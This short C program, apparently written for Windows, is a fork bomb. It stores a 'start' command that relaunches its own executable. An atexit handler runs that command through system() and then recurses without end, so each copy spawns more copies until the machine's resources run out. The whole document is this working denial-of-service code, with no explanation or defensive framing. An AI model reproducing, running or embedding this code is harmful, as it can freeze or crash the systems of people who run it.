#include <stdio.h> #include <stdlib.h> char p[1024]; void f(){ system(p); f(); } int main(int argc, char *argv[]) { sprintf(p,"start \"%s\"",argv[0]); atexit(f); }